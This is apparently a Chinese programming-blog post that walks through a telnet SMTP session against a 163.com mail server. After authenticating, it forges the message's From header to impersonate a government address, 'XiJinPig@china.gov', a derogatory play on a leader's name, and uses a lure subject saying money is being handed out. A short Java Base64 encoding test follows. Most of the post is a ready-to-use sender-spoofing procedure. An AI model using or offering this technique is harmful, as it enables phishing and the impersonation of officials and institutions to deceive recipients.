您的位置:首页 > 编程语言 > PHP开发

Smtp邮件发送漏洞

2013-08-29 23:13 162 查看
在Linux上使用shell 登录自己的邮箱:

1、telnet smtp.163.com 25

2、ehlo  sas(此字符串随意)

3、auth login

4、U2htaWx5X*****=(usernameBase64转码)

5、MD***********yODUwbQ==(passwordBase64转码)

6、mail from:<Sh***@163.com>(此处必须和用户名相同,否则无法通过校验)

7、rcpt to:<960625@qq.com>

8、data

9、from:<XiJinPig@china.gov>(漏洞之处,此处的发件人可以任意指定)

     to:<960625@qq.com> 

     subject:发钱了

希望你们都成功,我已经交代过了。

.(.代表内容结束)

10、quit

----------------------------------------------------------------------------

Base64加密代码:

@Test
public void base64(){
String name = "";
String pwd = "";
BASE64Encoder en = new BASE64Encoder();
name = en.encode(name.getBytes());
pwd = en.encode(pwd.getBytes());
System.err.println(name);
System.err.println(pwd);
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: